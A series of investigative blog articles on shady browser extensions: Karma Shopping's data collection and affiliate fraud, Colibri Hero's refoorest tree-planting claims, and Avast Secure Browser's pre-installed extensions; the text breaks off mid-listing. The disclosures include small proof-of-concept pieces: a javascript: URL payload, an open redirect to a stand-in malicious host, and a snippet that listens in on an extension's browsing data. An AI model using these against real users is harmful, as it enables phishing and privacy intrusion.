The user_id field no longer contains the extension ID but my personal identifier, complementing the identifier in distinct_id. There is a tab_id field adding more context, so that it is not only possible to recognize which page I navigated to and from where but also to distinguish different tabs. And some more information about my system is always useful of course.
Eleven extensions on my list are supposedly developed by a person going by the name Rotem Shilop or Roni Shilop or Karen Shilop. This isn’t a very common last name, and if this person really exists it managed to leave no traces online. Yes, I also searched in Hebrew. Yet one extension is developed by Karma Shopping Ltd. (formerly Shoptagr Ltd.), a company based in Israel with at least 50 employees. An accidental association?
It doesn’t look like it. I’m not going into the details of shared code and tooling, let’s just say: it’s very obvious that all twelve extensions are being developed by the same people. Of course, there is still the possibility that the eleven malicious extensions are not associated directly with Karma Shopping but with some rogue employee or contractor or business partner.
However, it isn’t only the code. As explained above, five extensions including Karma share the same tracking backend which is found nowhere else. They are even sending the same access token. Maybe this backend isn’t actually run by Karma Shopping and they are only one of the customers of some third party? Yet if you look at the data being sent, clearly the Karma extension is considered first-party. It’s the other extensions which are sending external: true and component: external_extension flags.
Then maybe Karma Shopping is merely buying data from a third party, without actually being affiliated with their extensions? Again, this is possible but unlikely. One indicator is the user_id field in the data sent by these extensions. It’s the same extension ID that they use for internal communication with the kra18.com server. If Karma Shopping were granting a third party access to their server, wouldn’t they assign that third party some IDs of their own?
And those affiliate links produced by the kra18.com server? Some of them clearly mention karmanow.com as the affiliate partner.
Finally, if we look at Karma Shopping’s mobile apps, they develop two of them. In addition to the Karma app, the app stores also contain an app called “Sudoku on the Rocks,” developed by Karma Shopping Ltd. Which is a very strange coincidence because an identical “Sudoku on the Rocks” extension also exists in the Chrome Web Store. Here however the developer is Karen Shilop. And Karen Shilop chose to include hidden affiliate fraud functionality in their extension.
By the way, guess who likes the Karma extension a lot and left a five-star review?
I contacted Karma Shopping Ltd. via their public relations address about their relationship to these extensions and the Shilop person but didn’t hear back so far.
Update (2024-10-30): An extension developer told me that they were contacted on multiple independent occasions about selling their Chrome extension to Karma Shopping, each time by C-level executives of the company, from official karmanow.com email addresses. The first outreach was in September 2023, where Karma was supposedly looking into adding extensions to their portfolio as part of their growth strategy. They offered to pay between $0.2 and $1 per weekly active user.
Update (2024-11-11): Another hint pointed me towards this GitHub issue. While the content has been removed here, you can still see the original content in the edit history. It’s the author of the Hide YouTube Shorts extension asking the author of the DarkPDF extension about that Karma company interested in buying their extensions.
It is obvious why Karma Shopping Ltd. would want to add their affiliate functionality to more extensions. After all, affiliate commissions are their line of business. But why collect browsing histories? Only to publish semi-insightful articles on people’s shopping behavior?
Well, let’s have a look at their privacy policy which is actually meaningful for a change. Under 1.3.4 it says:
Browsing Data. In case you a user of our browser extensions we may collect data regarding web browsing data, which includes web pages visited, clicked stream data and information about the content you viewed.
How we Use this Data. We use this Personal Data (1) in order to provide you with the Services and feature of the extension and (2) we will share this data in an aggregated, anonymized manner, for marketing research and commercial use with our business partners.
Legal Basis. (1) We process this Personal Data for the purpose of providing the Services to you, which is considered performance of a contract with you. (2) When we process and share the aggregated and anonymized data we will ask for your consent.
First of all, this tells us that Karma collecting browsing data is official. They also openly state that they are selling it. Good to know and probably good for their business as well.
As to the legal basis: I am no lawyer but I have a strong impression that they don’t deliver on the “we will ask for your consent” promise. No, not even that Firefox options page qualifies as informed consent. And this makes this whole data collection rather doubtful in the light of GDPR.
There is also a difference between anonymized and pseudonymized data. The data collection seen here is pseudonymized: while it doesn’t include my name, there is a persistent user identifier which is still linked to me. It is usually fairly easy to deanonymize pseudonymized browsing histories, e.g. because people tend to visit their social media profiles rather often.
Actually anonymized data would not allow associating it with any single person. This is very hard to achieve, and we’ve seen promises of aggregated and anonymized data go very wrong. While it’s theoretically possible that Karma correctly anonymizes and aggregates data on the server side, this is a rather unlikely outcome for a company that, as we’ve seen above, confuses the lack of names and email addresses with anonymity.
But of course these considerations only apply to the Karma extension itself. Because related extensions like Hide YouTube Shorts just straight out lie:
Some of these extensions actually used to have a privacy policy before they were bought. Now only three still have an identical and completely bogus privacy policy. Sudoku on the Rocks happens to be among these three, and the same privacy policy is linked by the Sudoku on the Rocks mobile apps which are officially developed by Karma Shopping Ltd.
Transparency note: According to Colibri Hero, they attempted to establish a business relationship with eyeo, a company that I co-founded. I haven’t been in an active role at eyeo since 2018, and I left the company entirely in 2021. Colibri Hero was only founded in 2021. My investigation here was prompted by a blog comment.
Colibri Hero (also known as allcolibri) is a company with a noble mission:
We want to create a world where organizations can make a positive impact on people and communities.
One of the company’s products is the refoorest browser extension, promising to make a positive impact on the climate by planting trees. Best of it: this costs users nothing whatsoever. According to the refoorest website:
Plantation financed by our partners
So the users merely need to have the extension installed, indicating that they want to make a positive impact. And since the concept was so successful, Colibri Hero recently turned it into an SDK called Impact Bro, so that it could be added to other browser extensions.
What the company carefully avoids mentioning: its 56,000 “partners” aren’t actually aware that they are financing tree planting. The refoorest extension and extensions using the Impact Bro SDK automatically open so-called affiliate links in the browser, making certain that the vendor pays them an affiliate commission for whatever purchases the users make. As the extensions do nothing to lead users to a vendor’s offers, this functionality likely counts as affiliate fraud.
The refoorest extension also makes very clear promises to its users: planting a tree for each extension installation, two trees for an extension review as well as a tree for each vendor visit. Clearly, this is not actually happening according to the numbers published by Colibri Hero themselves.
What does happen is careless handling of users’ data despite the “100% Data privacy guaranteed” promise. In fact, the company didn’t even bother to produce a proper privacy policy. There are various shady practices including a general lack of transparency, with the finances never disclosed. As proof of trees being planted the company links to a “certificate” which is … surprise! … its own website.
Mind you, I’m not saying that the company is just pocketing the money it receives via affiliate commissions. Maybe they are really paying Eden Reforestation (not actually called that any more) to plant trees and the numbers they publish are accurate. As a user, this is quite a leap of faith with a company that shows little commitment to facts and transparency however.
Edit (2025-12-05): This article was originally referring to the Impact Bro SDK by its internal and original name Impact Hero. As it turns out, the Impact Hero trademark is owned by the unrelated German company Impact Hero GmbH, a fact that Colibri Hero must have been aware of when they set up impacthero.co domain while impacthero.com already existed. Regardless of that, according to Impact Hero GmbH they had to ask Colibri Hero to stop infringing their trademark, which prompted the rename of the SDK into Impact Bro.
Let’s get our facts straight. First of all, what is Colibri Hero about? To quote their mission statement:
Because more and more companies are getting involved in social and environmental causes, we have created a SaaS solution that helps brands and organizations bring impactful change to the environment and communities in need, with easy access to data and results. More than that, our technology connects companies and non-profit organizations together to generate real impact.
Our e-solution brings something new to the demand for corporate social responsibility: brands and organizations can now offer their customers and employees the chance to make a tangible impact, for free. An innovative way to create an engaged community that feels empowered and rewarded.
You don’t get it? Yes, it took me a while to understand as well.
This is about companies’ bonus programs. Like: you make a purchase, you get ten points for the company’s loyalty program. Once you have a few hundred of those points, you can convert them into something tangible: getting some product for free or at a discount.
And Colibri Hero’s offer is: the company can offer people to donate those points, for a good cause. Like planting trees or giving out free meals or removing waste from the oceans. It’s a win-win situation: people can feel good about themselves, the company saves themselves some effort and Colibri Hero receives money that they can forward to social projects (after collecting their commission of course).
I don’t know whether the partners get any proof of money being donated other than the overview on the Colibri Hero website. At least I could not find any independent confirmation of it happening. All photos published by the company are generic and from unrelated events. Except one: there is photographic proof that some notebooks (as in: paper that you write on) have been distributed to girls in Sierra Leone.
Few Colibri Hero partners report the impact of this partnership or even its existence. The numbers are public on Colibri Hero website however if you know where to look for them and who those partners are. And since Colibri Hero left the directory index enabled for their Google Storage bucket, the logos of their partners are public as well.
So while Colibri Hero never published a transparency report themselves, it’s clear that they partnered up with less than 400 companies. Most of these partnerships appear to have never gone beyond a trial, the impact numbers are negligible. And despite Colibri Hero boasting their partnerships with big names like Decathlon and Foot Locker, the corresponding numbers are rather underwhelming for the size of these businesses.
Colibri Hero runs a shop which they don’t seem to link anywhere but which gives a rough impression of what they charge their partners. Combined with the public impact numbers (mind you, these have been going since the company was founded in 2021), this impression condenses into revenue numbers far too low to support a company employing six people in France, not counting board members and ethics advisors.
This is likely where the refoorest extension comes in. While given the company’s mission statement this browser extension with its less than 100,000 users across all platforms (most of them on Microsoft Edge) sounds like a side hustle, it should actually be the company’s main source of income.
The extension’s promise sounds very much like that of the Ecosia search engine: you search the web, we plant trees. Except that with Ecosia you have to use their search engine while refoorest supports any search engine (as well as Linkedin and Twitter/X which they don’t mention explicitly). Suppose you are searching for a new pair of pants on Google. One of the search results is Amazon. With refoorest you see this:
If you click the search result you go to Amazon as usual. Clicking that added link above the search result however will send you to the refoorest.com domain, where you will be redirected to the v2i8b.com domain (an affiliate network) which will in turn redirect you to amazon.com (the main page, not the pants one). And your reward for that effort? One more tree added to your refoorest account! Planting trees is really easy, right?
One thing is odd about this extension’s listing on Chrome Web Store: for an extension with merely 20,000 users, 2.9K ratings is a lot.
One reason is: the extension incentivizes leaving reviews. This is what the extension’s pop-up looks like:
Review us and we will plant two trees! Give us your email address and we will plant another two trees! Invite fifteen friends and we will plant a whole forest for you!
Given the success of refoorest, it’s unsurprising that the company is looking for ways to expand this line of business. What they recently came up with is the Impact Bro SDK (yes, it’s really the official name). It adds an “eco-friendly mode” to existing extensions. To explain it with the words of the Impact Bros (highlighting of original):
With our eco-friendly mode, you can effortlessly plant trees and offset carbon emissions at no cost as you browse the web. This allows us to improve the environmental friendliness of our extension.
Wow, that’s quite something, right? And how is that possible? That’s explained a little further in the text:
Upon visiting one of these merchant partners, you’ll observe a brief opening of a new tab. This tab facilitates the calculation of the required carbon offset.
Oh, calculation of the required carbon offset, makes sense. That’s why it loads the same website that I’m visiting but via an affiliate network. Definitely not to collect an affiliate commission for my purchases.
Just to make it very clear: the thing about calculating carbon offsets is a bold lie. This SDK earns money via affiliate commissions, very much in the same way as the refoorest extension. But rather than limiting itself to search results and users’ explicit clicks on their link, it will do this whenever the user visits some merchant website.
Now this is quite unexpected functionality. Yet Chrome Web Store program policies require the following:
All functionalities of extensions should be clearly disclosed to the user, with no surprises.
Good that the Impact Bro SDK includes a consent screen, right? Here is what it looks like in the Chat GPT extension:
Yes, this doesn’t really help users make an informed decision. And if you think that the “Learn more” link helps, it leads to the page where I copied the “calculation of the required carbon offset” bullshit from.
The whole point of this “consent screen” seems to be tricking you into granting the extension access to all websites. Consequently, this consent screen is missing from extensions that already have access to all websites out of the box (including the two extensions owned by Colibri Hero themselves).
There is one more area that Colibri Hero focuses on to improve its revenue: their list of merchants that the extensions download each hour. This discussion puts the size of the list at 50 MB on September 6. When I downloaded it on September 17 it was already 62 MB big. By September 28 the list has grown to 92 MB. If this size surprises you: there are lots of duplicate entries. amazon.com alone is present 615 times in that list (some metadata differs, but the extensions don’t process that metadata anyway).
In addition to refoorest I could identify two extensions bought by Colibri Hero from their original author as well as 14 extensions which apparently added Impact Bro SDK expecting their share of the revenue. That’s Chrome Web Store only, the refoorest extension at the very least also exists in various other extension stores, even though it has been removed from Firefox Add-ons just recently.
Here is the list of extensions I found and their current Chrome Web Store stats:
| Name | Weekly active users | Extension ID |
|---|---|---|
| 40,000 | aahnibhpidkdaeaplfdogejgoajkjgob | |
| 20,000 | acfobeeedjdiifcjlbjgieijiajmkang | |
| 7,000 | ahanamijdbohnllmkgmhaeobimflbfkg | |
| Utorrent For Chrome | 10,000 | bgplkhkpimbjejablijendjgkopapaao |
| 6,000 | edhicaiemcnhgoimpggnnclhpgleakno | |
| 100,000 | efdkmejbldmccndljocbkmpankbjhaao | |
| CoPilot™ Extensions For Chrome | 10,000 | eodojedcgoicpkfcjkhghafoadllibab |
| 10,000 | epbbhfcjkkdbfepjgajhagoihpcfnphj | |
| AI Shop Buddy | 4,000 | epikoohpebngmakjinphfiagogjcnddm |
| Youtube Adblocker Adblock For Youtube™ YouApp | 8,000 | fehakahaflkmeafdflhmlfcgolbpahen |
| Instagram Photo Downloader | 20,000 | fhllildlikmifjkoejmohabfddmndphf |
| 700,000 | fnmihdojmnkclgjpcoonokmkhjpjechg | |
| Desktop App for WhatsApp™ WEB | 70,000 | gjcnknhpkhmejbjfddcbgekmhbodanfa |
| 10,000 | jncmcndmaelageckhnlapojheokockch | |
| 30,000 | kadfogmkkijgifjbphojhdkojbdammnk | |
| ChatGPT App | 8,000 | lbneaaedflankmgmfbmaplggbmjjmbae |
| refoorest: plant trees for free | 20,000 | lfngfmpnafmoeigbnpdfgfijmkdndmik |
| 300,000 | llimhhconnjiflfimocjggfjdlmlhblm | |
| ChatGPT 4 | 20,000 | njdepodpfikogbbmjdbebneajdekhiai |
| 1,000 | nnclkhdpkldajchoopklaidbcggaafai | |
| 70,000 | oojndninaelbpllebamcojkdecjjhcle | |
| 30,000 | pgjcgpbffennccofdpganblbjiglnbip | |
| Photo Collage Maker for Chrome | 7,000 | picgbapipjaaienljdkdgmcoobhaehco |
Update (2024-10-01): Opera already removed refoorest from their add-on store.
Update (2024-12-12): By now, Local Video-Audio Player, GPT Chat and Online-Offline MS Paint Tool have been removed from Chrome Web Store, either by Google or their respective authors. While most other extensions removed the Impact Bro SDK, CoPilot™ Extensions For Chrome, AI Shop Buddy and Chat GPT extensions keep using it seemingly unchanged. I could not see any relevant changes in the functionality of the refoorest extension, it’s still misleading users in exactly the same way while being marked as “featured” in Chrome Web Store.
Update (2024-12-16): Added Utorrent For Chrome, Instagram Photo Downloader, and Photo Collage Maker for Chrome extensions to the list, I haven’t found these earlier.
Update (2024-12-17): I previously overlooked that while the Chat GPT still contains large parts of the Impact Bro SDK, this code no longer seems active. On the other hand, the ChatGPT 4 extension now contains different but very similar affiliate fraud functionality called Support Us Mode. There are strong indicators that this is a new version of the Impact Bro SDK with the visible ties to Colibri Hero removed. Other extensions with the same functionality are Youtube Adblocker Adblock For Youtube™ YouApp, Desktop App for WhatsApp™ WEB and ChatGPT App, I added them to the list.
That’s a very interesting question, glad you asked. See, refoorest considers itself to be in direct competition with the Ecosia search engine. And Ecosia publishes detailed financial reports where they explain how much money they earn and where it went. Ecosia is also listed as a partner on the Eden: People+Planet website, so we have independent confirmation here that they in fact donated at least a million US dollars.
I searched quite thoroughly for comparable information on Colibri Hero. All I could find was this statement:
We allocate a portion of our income to operating expenses, including team salaries, social charges, freelancer payments, and various fees (such as servers, technical services, placement fees, and rent). Additionally, funds are used for communications to maximize the service’s impact. Then, 80% of the profits are donated to global reforestation projects through our partner, Eden Reforestation.
While this sounds good in principle, we have no idea how high their operational expenses are. Maybe they are donating half of their revenue, maybe none. Even if this 80% rule is really followed, it’s easy to make operational expenses (like the salary of the company founders) so high that there is simply no profit left.
Edit (2024-10-01): It seems that I overlooked them in the list of partners. So they did in fact donate at least 50 thousand US dollars. Thanks to Adrien de Malherbe of Colibri Hero for pointing this out. Edit (2024-10-02): According to the Internet Archive, refoorest got listed here in May 2023 and they have been in the “$50,000 - $99,999” category ever since. They were never listed with a smaller donation, and they never moved up either – almost like this was a one-time donation. As of October 2024, the Eden: People+Planet website puts the cost of planting a tree at $0.75.
And other than that they link to the certificate of the number of trees planted:
But that’s their own website, just like the maps of where trees are being planted. They can make it display any number.
Now you are probably thinking: “Wladimir, why are you so paranoid? You have no proof that they are lying, just trust them to do the right thing. It’s for a good cause!” Well, actually…
Remember that the refoorest extension promises its users to plant a specific number of trees? One for each extension installation, two for a review, one more tree each time a merchant website is visited? What do you think, how many trees came together this way?
One thing about Colibri Hero is: they don’t seem to be very fond of protecting data access. Not only their partners’ stats are public, the user data is as well. When the extension loads or updates the user’s data, there is no authentication whatsoever. Anybody can just open my account’s data in their browser provided that they know my user ID:
So anybody can track my progress – how many trees I’ve got, when the extension last updated my data, that kind of thing. Any stalkers around? Older data (prior to May 2022) even has an email field, though this one was empty for the accounts I saw.
How you might get my user ID? Well, when the extension asks me to promote it on social networks and to my friends, these links contain my user ID. There are plenty of such links floating around. But as long as you aren’t interested in a specific user: the user IDs are incremental. They are even called row_index in the extension source code.
See that index value in my data? We now know that 2,834,418 refoorest accounts were created before I decided to take a look. Some of these accounts certainly didn’t live long, yet the average still seems to be beyond 10 trees. But even ignoring that: two million accounts are two million trees just for the install.
According to their own numbers refoorest planted less that 700,000 trees, far less than those accounts “earned.” In other words: when these users were promised real physical trees, that was a lie. They earned virtual points to make them feel good, when the actual count of trees planted was determined by the volume of affiliate commissions.
Wait, was it actually determined by the affiliate commissions? We can get an idea by looking at the historical data for the number of planted trees. While Colibri Hero doesn’t provide that history, the refoorest website was captured by the Internet Archive at a significant number of points in time. I’ve collected the numbers and plotted them against the respective date. Nothing fancy like line smoothing, merely lines connecting the dots:
Well, that’s a straight line. There is a constant increase rate of around 20 trees per hour here. And I hate to break it to you, a graph like that is rather unlikely to depend on anything related to the extension which certainly grew its user base over the course of these four years.
There are only two anomalies here where the numbers changed non-linearly. There is a small jump end of January or start of February 2023. And there is a far larger jump later in 2023 after a three month period where the Internet Archive didn’t capture any website snapshots, probably because the website was inaccessible. When it did capture the number again it was already above 500,000.
Refoorest website promises:
100% Data privacy guaranteed
The Impact Bro SDK explainer promises:
This new feature does not retain any information or data, ensuring 100% compliance with GDPR laws.
Ok, let’s first take a look at their respective privacy policies. Here is the refoorest privacy policy:
If you find that a little bit hard to read, that’s because whoever copied that text didn’t bother to format lists and such. Maybe better to read it on the Impact Bro website?
Sorry, that’s even worse. Not even the headings are formatted here.
Either way, nothing shows appreciation for privacy like a standard text which is also used by pizza restaurants and similarly caring companies. Note how that references “Law No. 78-17 of 6 January 1978”? That’s some French data protection law that I’m pretty certain is superseded by GDPR. A reminder: GDPR came in effect in 2018, three years before Colibri Hero was even founded.
This privacy policy isn’t GDPR-compliant either. For example, it has no mention of consumer rights or who to contact if I want my data to be removed.
Data like what’s stored in those refoorest accounts which happen to be publicly visible. Some refoorest users might actually find that fact unexpected.
Or data like the email address that the extension promises two trees for. Wait, they don’t actually have that one. The email address goes straight to Poptin LTD, a company registered in Israel. There is no verification that the user owns the address like double opt-in. But at least Poptin has a proper GDPR-compliant privacy policy.
There is plenty of tracking going on all around refoorest, with data being collected by Cloudflare, Google, Facebook and others. This should normally be explained in the privacy policy. Well, not in this one.
Granted, there is less tracking around the Impact Bro SDK, still a far shot away from the “not retain any information or data” promise however. The “eco-friendly mode” explainer loads Google Tag Manager. The affiliate networks that extensions trigger automatically collect data, likely creating profiles of your browsing. And finally: why is each request going through a Colibri Hero website before redirecting to the affiliate network if no data is being collected there?
We’ve already seen that a fair amount of users leaving a review for the refoorest extension have been incentivized to do so. That’s the reason for “insightful” reviews like this one:
Funny enough, several of them then complain about not receiving their promised trees. That’s due to an extension issue: the extension doesn’t actually track whether somebody writes a review, it simply adds two trees with a delay after the “Leave a review” button is clicked. A bug in the code makes it “forget” that it meant to do this if something else happens in between. Rather that fixing the bug they removed the delay in the current extension version. The issue is still present when you give them your email address though.
But what about the user testimonies on their webpage?
Yes, this sounds totally like something real users would say, definitely not written by a marketing person. And these user photos definitely don’t come from something like the Random User Generator. Oh wait, they do.
In that context it makes sense that one of the company’s founders engages with the users in a blog titled “Eco-Friendly Living” where he posts daily articles with weird ChatGPT-generated images. According to metadata, all articles have been created on the same date, and each article took around four minutes – he must be a very fast typer. Every article presents a bunch of brands, and the only thing (currently) missing to make the picture complete are affiliate links.
It’s not like the refoorest extension or the SDK do much. Given that, the company managed to produce a rather remarkable security issue. Remember that their links always point to a Colibri Hero website first, only to be redirected to the affiliate network then? Well, for some reason they thought that performing this redirect in the extension was a good idea.
So their extension and their SDK do the following:
if (window.location.search.indexOf("partnerurl=") > -1) {
const url = decodeURIComponent(gup("partnerurl", location.href));
location.href = url;
return;
}
Found a partnerurl parameter in the query string? Redirect to it! You wonder what websites this code is active on? All of them of course! What could possibly go wrong…
Well, the most obvious thing to go wrong is: this might be a javascript: URL. A malicious website could open https://example.com/?partnerurl=javascript:alert(1) and the extension will happily navigate to that URL. This almost became a Universal Cross-Site Scripting (UXSS) vulnerability. Luckily, the browser prevents this JavaScript code from running, at least with Manifest V3.
It’s likely that the same vulnerability already existed in the refoorest extension back when it was using Manifest V2. At that point it was a critical issue. It’s only with the improvements in Manifest V3 that extensions’ content scripts are subject to a Content Security Policy which prevents execution of arbitrary Javascript code.
So now this is merely an open redirect vulnerability. It could be abused for example to disguise link targets and abuse trust relationships. A link like https://example.com/?partnerurl=https://evil.example.net/ looks like it would lead to a trusted example.com website. Yet the extension would redirect it to the malicious evil.example.net website instead.
We’ve seen that Colibri Hero is systematically misleading extension users about the nature of its business. Users are supposed to feel good about doing something for the planet, and the entire communication suggests that the “partners” are contributing finances due to sharing this goal. The aspect of (ab)using the system of affiliate marketing is never disclosed.
This is especially damning in case of the refoorest extension where users are being incentivized by a number of trees supposedly planted as a result of their actions. At no point does Colibri Hero disclose that this number is purely virtual, with the actual count of trees planted being far lower and depending on entirely different factors. Or rather no factors at all if their reported numbers are to be trusted, with the count of planted trees always increasing at a constant rate.
For the Impact Bro SDK this misleading communication is paired with clearly insufficient user consent. Most extensions don’t ask for user consent at all, and those that do aren’t allowing an informed decision. The consent screen is merely a pretense to trick the users into granting extended permissions.
This by itself is already in gross violation of the Chrome Web Store policies and warrants a takedown action. Other add-on stores have similar rules, and Mozilla in fact already removed the refoorest extension prior to my investigation.
Colibri Hero additionally shows a pattern of shady behavior, such as quoting fake user testimonies, referring to themselves as “proof” of their beneficial activity and a general lack of transparency about finances. None of this is proof that this company isn’t donating money as it claims to do, but it certainly doesn’t help trusting them with it.
The technical issues and neglect for users’ privacy are merely a sideshow here. These are somewhat to be expected for a small company with limited financing. Even a small company can do better however if the priorities are aligned.
A while ago I already looked into Avast Secure Browser. Back then it didn’t end well for Avast: I found critical vulnerabilities allowing arbitrary websites to infect user’s computer. Worse yet: much of it was due to neglect of secure coding practices, existing security mechanisms were disabled for no good reason. I didn’t finish that investigation because I discovered that the browser was essentially spyware, collecting your browsing history and selling it via Avast’s Jumpshot subsidiary.
But that was almost five years ago. After an initial phase of denial, Avast decided to apologize and to wind down Jumpshot. It was certainly a mere coincidence that Avast was subsequently sold to NortonLifeLock, called Gen Digital today. Yes, Avast is truly reformed and paying for their crimes in Europe and the US. According to the European decision, Avast is still arguing despite better knowledge that their data collection was fully anonymized and completely privacy-conformant but… well, old habits are hard to get rid of.
Either way, it’s time to take a look at Avast Secure Browser again. Because… all right, because of the name. That was a truly ingenious idea to name their browser like that, nerd sniping security professionals into giving them free security audits. By now they certainly would have addressed the issues raised in my original article and made everything much more secure, right?
Note: This article does not present any actual security vulnerabilities. Instead, this is a high-level overview of design decisions that put users at risk, artificially inflating the attack surface and putting lots of trust into the many, many companies involved with the Avast webspaces. TL;DR: I wouldn’t run Avast Secure Browser on any real operating system, only inside a virtual machine containing no data whatsoever.
The issues raised in my original article about the pre-installed browser extensions are still partially present. Two extensions are relaxing the default protection provided by Content-Security-Policy even though it could have been easily avoided. One extension is requesting massive privileges, even though it doesn’t actually need them. At least they switched from jQuery to React, but they still somehow managed to end up with HTML injection vulnerabilities.
In addition, two extensions will accept messages from any Avast website – or servers pretending to be Avast websites, since HTTPS-encrypted connections aren’t being enforced. In the case of the Privacy Guard (sic!) extension, this messaging exposes users’ entire browsing information to websites willing to listen. Yes, Avast used to collect and sell that information in the past, and this issue could in principle allow them to do it again, this time in a less detectable way.
The Messaging extension is responsible for the rather invasive “onboarding” functionality of the browser, allowing an Avast web server to determine almost arbitrary rules to nag the user – or to redirect visited websites. Worse yet, access to internal browser APIs has been exposed to a number of Avast domains. Even if Avast (and all the other numerous companies involved in running these domains) are to be trusted, there is little reason to believe that such a huge attack surface can possibly be secure. So it has to be expected that other websites will also be able to abuse access to these APIs.
Avast Secure Browser is something you get automatically if you don’t take care while installing your Avast antivirus product. Or AVG antivirus. Or Avira. Or Norton. Or CCleaner. All these brands belong to Gen Digital now, and all of them will push Avast Secure Browser under different names.
According to their web page, there are good reasons to promote this browser:
So one of the reasons is: this browser is 100% free. And it really is, as in: “you are the product.” I took the liberty of making a screenshot of the browser and marking the advertising space:
Yes, maybe this isn’t entirely fair. I’m still indecisive as to whether the search bar should also be marked. The default search engine is Bing and the browser will nudge you towards keeping it selected. Not because Microsoft’s search engine is so secure and private of course but because they are paying for it.
But these are quality ads and actually useful! Like that ad for a shop selling food supplements, so that you can lead a healthy life. A quick search reveals that one of the three food supplements shown in the ad is likely useless with the suspicion of being harmful. Another brings up lots of articles by interested parties claiming great scientifically proven benefits but no actual scientific research on the topic. Finally the third one could probably help a lot – if there were any way of getting it into your body in sufficient concentration, which seems completely impossible with oral intake.
Now that we got “free” covered, we can focus on the security and privacy aspects in the subsequent sections.
There are various reasons for browser vendors to pre-package extensions with their browser. Mozilla Firefox uses extensions to distribute experimental features before they become an integral part of the browser. As I learned back in 2011, Google Chrome uses such extensions to promote their web applications and give them an advantage over competition. And as Simon Willison discovered only a few days ago, the Google Hangouts extension built into Google Chrome gives Google domains access to internal browser APIs – quite nifty if one wants better user tracking capabilities.
My previous article mentioned Avast Secure Browser adding eleven extensions to the ones already built into Google Chrome. This number hasn’t changed: I still count eleven extensions, even though their purposes might have changed. At least that’s eleven extensions for me, differently branded versions of this browser seem to have a different combination of extensions. Only two of these extensions (Coupons and Video Downloader) are normally visible in the list of extensions and can be easily disabled. Three more extensions (Avast Bank Mode, Avast SecureLine VPN, Privacy Guard) become visible when Developer Mode is switched on.
And then there are five extensions that aren’t visible at all and cannot be disabled by regular means: Anti-Fingerprinting, Messaging, Side Panel, AI Chat, Phishing Protection. Finally, at least the New Tab extension is hardwired into the browser and is impossible to disable.
Now none of this is a concern if these extensions are designed carefully with security and privacy in mind. Are they?
My previous article described the Video Downloader extension as a huge “please hack me” sign. Its extension manifest requested every permission possible, and it also weakened Content-Security-Policy (CSP) protection by allowing execution of dynamic scripts. Both were completely unnecessary, my proof of concept exploit abused it to get a foothold in the Avast Secure Browser.
Looking at the current Video Downloader manifest, things are somewhat better today:
{
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'",
"permissions": [
"activeTab", "downloads", "management", "storage", "tabs", "webRequest",
"webRequestBlocking", "<all_urls>"
],
}
The permissions requested by this extension still grant it almost arbitrary access to all websites. But at least the only unused privilege on this list is management which gives it the ability to disable or uninstall other extensions.
As to CSP, there is still 'unsafe-eval' which allowed this extension to be compromised last time. But now it’s there for a reason: Video Downloader “needs” to run some JavaScript code it receives from YouTube in order to extract some video metadata.
I did not test what this code is or what it does, but this grants at the very least the YouTube website the ability to compromise this extension and, via it, the integrity of the entire browser. But that’s YouTube, it won’t possibly turn evil, right?
For reference: it is not necessary to use 'unsafe-eval' to run some untrusted code. It’s always possible to create an <iframe> element and use the sandbox attribute to execute JavaScript code in it without affecting the rest of the extension.
But there are more extensions. There is the Avast Bank Mode extension for example, and its extension manifest says:
{
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'",
"permissions": [
"activeTab", "alarms", "bookmarks", "browsingData", "clipboardRead",
"clipboardWrite", "contentSettings", "contextMenus", "cookies", "debugger",
"declarativeContent", "downloads", "fontSettings", "geolocation", "history",
"identity", "idle", "management", "nativeMessaging", "notifications",
"pageCapture", "power", "privacy", "proxy", "sessions", "storage", "system.cpu",
"system.display", "system.memory", "system.storage", "tabCapture", "tabs", "tts",
"ttsEngine", "unlimitedStorage", "webNavigation", "webRequest",
"webRequestBlocking", "http://*/*", "https://*/*", "<all_urls>"
],
}
Yes, requesting every possible permission and allowing execution of dynamic scripts at the same time, the exact combination that wreaked havoc last time. Why this needs 'unsafe-eval'? Because it uses some ancient webpack version that relies on calling eval() in order to “load” JavaScript modules dynamically. Clearly, relaxing security mechanisms was easier than using a better module bundler (like the one used by other Avast extensions).
The Privacy Guard extension is responsible for blocking ads and trackers. It is meant by the sentence “block ads and boost your online privacy” in the website screenshot above. It is also one of the two extensions containing the following entry in its manifest:
{
"externally_connectable": {
"ids": [ "*" ],
"matches": [
"*://*.avastbrowser.com/*",
"*://*.avgbrowser.com/*",
"*://*.ccleanerbrowser.com/*",
"*://*.avast.com/*",
"*://*.securebrowser.com/*"
]
},
}
What this means: any other extension installed is allowed to send messages to the Privacy Guard extension. That isn’t restricted to Avast extensions, any other extension you installed from Avast’s or Google’s add-on store is allowed to do this as well.
The same is true for any website under the domains avast.com, securebrowser.com, avastbrowser.com, avgbrowser.com or ccleanerbrowser.com. Note that the rules here don’t enforce https:// scheme, unencrypted HTTP connections will be allowed as well. And while avast.com domain seems to be protected by HTTP Strict Transport Security, the other domains are not.
Why this matters: when your browser requests example.securebrowser.com website over an unencrypted HTTP connection, it cannot be guaranteed that your browser is actually talking to an Avast web server. In fact, any response is guaranteed to come from a malicious web server because no such website exists.
One way you might get a response from such a malicious web server is connecting to a public WiFi. In principle, anyone connected to the same WiFi could redirect unencrypted web requests to their own malicious web server, inject an invisible request to example.securebrowser.com in a frame (which would also be handled by their malicious server) and gain the ability to message Privacy Guard extension. While not common, this kind of attack did happen in the wild.
And what does someone get then? Let me show you:
chrome.runtime.connect("onochehmbbbmkaffnheflmfpfjgppblm", {name: "PG_STORE"})
.onMessage.addListener(x => console.log(x));
This establishes a connection to the extension and logs all incoming messages. One message is received immediately:
{
"type": "chromex.state",
"payload": {
"main": {
"settings": {
"paused": false,
"off": false,
"blockingMode": "strict",
"showIconBadge": true,
"fingerprintEnabled": true,
"previousBlockingModeIsOff": false
},
"pausedDomains": [],
"whitelist": [],
"afpWhitelist": [],
"installationInfo": {
"hostPrefix": "",
"noProBrand": false,
"urls": {
"faqUrl": "https://extension.securebrowser.com/privacy-guard/learn-more/",
"proUrl": "https://extension.securebrowser.com/privacy-guard/offer/"
},
"whitelists": {
"whitelist": "https://update.avastbrowser.com/adblock/assets/v3/document_whitelist.txt",
"filterWhitelist": "https://update.avastbrowser.com/adblock/assets/v3/filter_whitelist.txt",
"searchWhitelist": "https://update.avastbrowser.com/adblock/assets/v3/search_document_whitelist.txt"
}
},
"isProUser": false,
"blockedAdsCount": 12
},
"tabs": {
"391731034": {
"adsBlocked": 0,
"fingerprintAttempts": 0,
"adsAllowed": 0,
"listAdsBlocked": [],
"listAdsAllowed": [],
